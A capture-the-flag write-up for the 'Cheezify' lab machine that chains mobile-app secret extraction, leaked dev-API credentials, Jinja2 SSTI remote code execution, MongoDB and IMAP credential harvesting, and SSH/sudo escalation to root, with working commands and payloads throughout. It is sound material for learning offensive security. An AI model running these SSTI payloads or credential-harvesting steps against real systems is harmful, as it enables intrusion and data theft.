> ESC
← Posts

Cheezify - VulnByDefault

📅 2026-02-28 📂 Writeup 8 min read
VulnByDefaultBoot2RootSSTIRCEMobile ReversingDocker
TL;DR:
Full writeup for the Cheezify machine on VulnByDefault — mobile app reverse engineering leaks hidden subdomains and API keys, leading to SSTI → RCE in a Flask management portal, container pivoting via IMAP email exfiltration, and SSH privilege escalation to root.

Target: http://cheezify.vbd Difficulty: Medium


Table of Contents

  1. Reconnaissance
  2. Web Enumeration
  3. Mobile App Reverse Engineering
  4. Dev API Exploitation
  5. Management Portal Access
  6. Server-Side Template Injection (SSTI → RCE)
  7. Container Enumeration & Pivot
  8. Email Exfiltration via IMAP
  9. SSH Access & Privilege Escalation

1. Reconnaissance

Port Scan

nmap -sV -sC -p22,80 cheezify.vbd
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.29.5
|_http-title: Cheezify | The Cheesiest Delivery in Town
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two services: SSH and an nginx web server serving a food delivery landing page.


2. Web Enumeration

Main Page Analysis

curl -s http://cheezify.vbd/

The landing page is for "Cheezify", a food delivery app. Key findings in the HTML source:

  • Two download links for mobile apps:
    • cheezify.apk (Android)
    • cheezify.ipa (iOS)
  • Static assets referenced: assets/images/logo.png, assets/burger.png, assets/pizza.png, assets/fries.png
  • No hidden comments or JavaScript files of interest

Response Headers

Server: nginx/1.29.5
Content-Type: text/html

Standard nginx setup. No additional info leakage from headers.


3. Mobile App Reverse Engineering

Both APK and IPA files were downloaded and analyzed. This was the core of the initial foothold — the mobile apps leaked multiple hidden subdomains, API endpoints, and credentials.

3.1 APK Analysis

curl -s -o /tmp/cheezify.apk http://cheezify.vbd/cheezify.apk
mkdir -p /tmp/cheezify_apk && unzip -o /tmp/cheezify.apk -d /tmp/cheezify_apk

The APK is a Flutter application. The compiled Dart code lives in lib/x86_64/libapp.so.

Extracting Strings from libapp.so

strings /tmp/cheezify_apk/lib/x86_64/libapp.so | grep -iE "cheezify|\.vbd|http"

Findings:

Finding Value
API Base URL http://app-api.cheezify.vbd
Login Endpoint http://app-api.cheezify.vbd/auth/login
Signup Endpoint http://app-api.cheezify.vbd/auth/signup
Me Endpoint http://app-api.cheezify.vbd/auth/me
Items Endpoint http://app-api.cheezify.vbd/items/
Favorites Endpoint http://app-api.cheezify.vbd/favorites/
Orders Endpoint http://app-api.cheezify.vbd/orders/create
Hardcoded Email cheese.lover@cheezify.vbd
Build Path file:///home/runner/work/cheezify-machine/cheezify-machine/app/

Decoding AndroidManifest.xml

apktool d /tmp/cheezify.apk -o /tmp/cheezify_decoded -f
cat /tmp/cheezify_decoded/AndroidManifest.xml

Critical finding in the manifest's <meta-data> tags:

<meta-data android:name="internal_manage_endpoint"
           android:value="http://internal-manage.cheezify.vbd"/>

This reveals a hidden internal management subdomain: http://internal-manage.cheezify.vbd.

3.2 IPA Analysis

curl -s -o /tmp/cheezify.ipa http://cheezify.vbd/cheezify.ipa
mkdir -p /tmp/cheezify_ipa && unzip -o /tmp/cheezify.ipa -d /tmp/cheezify_ipa

The iOS app also uses Flutter (Frameworks/App.framework/, Frameworks/Flutter.framework/).

Info.plist Secrets

plutil -p /tmp/cheezify_ipa/Payload/Runner.app/Info.plist
"DevApiEndpoint" => "http://dev-api.cheezify.vbd"
"DevApiKey" => "[REDACTED]"

A third hidden subdomain (dev-api.cheezify.vbd) and an API key were left in the iOS build configuration. The API key has been redacted.

Summary of Discovered Subdomains

Subdomain Source Purpose
app-api.cheezify.vbd APK libapp.so strings Main API backend
internal-manage.cheezify.vbd APK AndroidManifest.xml Internal admin panel
dev-api.cheezify.vbd IPA Info.plist Developer API

All subdomains resolve to the same IP via nginx virtual host routing.

curl -s http://app-api.cheezify.vbd/

4. Dev API Exploitation

Accessing the Dev API

The dev API has its own OpenAPI spec at /openapi.json:

curl -s http://dev-api.cheezify.vbd/openapi.json

Endpoints (all secured with X-API-Key header):

Method Path Description
GET /notes/ Get developer notes
POST /notes/ Add a note
GET /projects/status Project health status
GET /projects/info Project information

Reading Developer Notes

curl -s http://dev-api.cheezify.vbd/notes/ \
  -H "X-API-Key: [REDACTED]"
{
  "notes": [
    "Cheezify API is under active development.",
    "Remember to use the X-API-Key header for all requests.",
    "The backend is currently migrating to a new database schema.",
    "Change the credentials for internal.",
    "Credentials : admin@cheezify.vbd:[REDACTED]"
  ]
}

Management portal credentials leaked in dev notes:

  • Email: admin@cheezify.vbd
  • Password: [REDACTED]

5. Management Portal Access

Login

curl -s \
  -X POST http://internal-manage.cheezify.vbd/login \
  -d 'email=admin@cheezify.vbd&password=[REDACTED]' \
  -c /tmp/cookies.txt -v

Response: 302 FOUND redirect to / with a JWT session cookie:

Set-Cookie: token=[REDACTED]; HttpOnly; Path=/

Dashboard

The admin dashboard at / provides:

  • An "Add New Item" form (name, price, image URL, category, description) that POSTs to /add
  • A table of existing menu items with delete buttons

6. Server-Side Template Injection (SSTI → RCE)

Discovery

The Flask application uses render_template_string() on user-controlled item names. Adding an item with the name {{7*7}} renders as 49 on the dashboard.

curl -s \
  -X POST http://internal-manage.cheezify.vbd/add \
  -b /tmp/cookies.txt \
  --data-urlencode "name={{7*7}}" \
  -d 'price=1.00&image=https://placehold.co/40&category=Popular&desc=test'

Confirmed: Jinja2 Server-Side Template Injection.

The Vulnerable Code

From reading /app/app.py via SSTI:

@app.route("/")
@token_required
def index():
    from flask import render_template_string
    items = list(db.items.find())
    for item in items:
        try:
            item['name'] = render_template_string(item['name'])  # VULNERABLE
        except Exception:
            pass
    ...

Remote Code Execution

Executing id

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Leaking Flask Config

{{config}}

Result (key excerpts):

'SECRET_KEY': '[REDACTED]'

Leaking Environment Variables

{{request.application.__globals__.__builtins__.__import__('os').popen('env | sort').read()}}

Key environment variables:

Variable Value
USER developer
PASSWORD [REDACTED]
MONGODB_URL mongodb://mongodb:27017/cheezify
INTERNAL_MONGO_URL mongodb://mongodb:27017/secretdb
SECRET_KEY [REDACTED]
HOSTNAME 39366f79c7c3

We are inside a Docker container.

Dumping MongoDB Users

Using the SSTI to run a Python one-liner that queries the internal MongoDB:

{{request.application.__globals__.__builtins__.__import__('os').popen(
  'python3 -c "from pymongo import MongoClient as MC; ... print(list(c.secretdb.users.find()))"'
).read()}}

Result:

Email Password Status Role
admin@cheezify.vbd [REDACTED] active admin
dev-ops@cheezify.vbd [REDACTED] revoked devops

7. Container Enumeration & Pivot

Container Network

The container IP is 172.18.0.2. The Docker gateway (host) is at 172.18.0.1.

Internal Network Scan

Using SSTI to run a Python port scanner:

Host Open Ports Service
172.18.0.1 22, 80 Host machine (SSH + nginx)
172.18.0.2 5000 Flask management app (this container)
172.18.0.3 80 Main Cheezify API (FastAPI)
172.18.0.4 80 Roundcube Webmail (Apache/PHP)
172.18.0.6 8000 Dev API
172.18.0.8 25, 143, 465, 587 Mail server (Postfix + Dovecot)

The discovery of Roundcube Webmail and a mail server opened the pivoting path.


8. Email Exfiltration via IMAP

IMAP Login

Using the dev-ops@cheezify.vbd credentials from MongoDB, we connected to the IMAP server at 172.18.0.8:143 via SSTI-executed Python:

import imaplib
m = imaplib.IMAP4('172.18.0.8', 143)
m.login('dev-ops@cheezify.vbd', '[REDACTED]')
m.select('INBOX')
typ, data = m.search(None, 'ALL')
# Fetched 4 emails

Emails Found

Email 1 — From: security-audit@cheezify.vbd

Subject: Firewall Rule Update

Please restrict access to port 27017 (Internal MongoDB) to only the dashboard container IP. It is currently too exposed.

Email 2 — From: manager@cheezify.vbd — Critical

Subject: Re: App Deployment Status

Hi DevOps Team,

If you ever need the manager privilege for doing the tasks you can use the following credentials:

Username: manager Password: [REDACTED]

Regards, Manager

Email 3 — From: support@cheezify.vbd

Subject: Image Upload Issues

Users are reporting that uploaded PNGs over 5MB are failing. Can we check the Nginx client_max_body_size?

Email 4 — From: dev-ops@cheezify.vbd (self-sent note, truncated)


9. SSH Access & Privilege Escalation

SSH as Manager

sshpass -p '[REDACTED]' ssh manager@cheezify.vbd
uid=1000(manager) gid=1000(manager) groups=1000(manager),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

The manager user is a member of the sudo group.

Root via sudo

echo "[REDACTED]" | sudo -S id
uid=0(root) gid=0(root) groups=0(root)

Root Flag

sudo cat /root/root.txt

Attack Chain Summary

Landing Page (cheezify.vbd)
    │
    ├── Download cheezify.apk
    │   ├── strings libapp.so → http://app-api.cheezify.vbd
    │   └── AndroidManifest.xml → http://internal-manage.cheezify.vbd
    │
    ├── Download cheezify.ipa
    │   └── Info.plist → http://dev-api.cheezify.vbd + API Key
    │
    └── Dev API /notes/ (with leaked API key)
        └── Credentials: admin@cheezify.vbd:[REDACTED]
            │
            └── Login to internal-manage.cheezify.vbd
                │
                └── SSTI in "Add Item" name field → RCE as www-data (Docker)
                    │
                    ├── env → INTERNAL_MONGO_URL, PASSWORD
                    ├── MongoDB secretdb.users → dev-ops credentials
                    ├── Network scan → Roundcube + Mail server
                    │
                    └── IMAP login as dev-ops → Read emails
                        │
                        └── Email contains SSH creds: manager:[REDACTED]
                            │
                            └── SSH → sudo → ROOT

Credentials Collected

Service Username Password
Management Portal admin@cheezify.vbd [REDACTED]
Dev API Key [REDACTED]
Flask SECRET_KEY [REDACTED]
MongoDB (devops) dev-ops@cheezify.vbd [REDACTED]
Container env developer [REDACTED]
SSH / sudo (root) manager [REDACTED]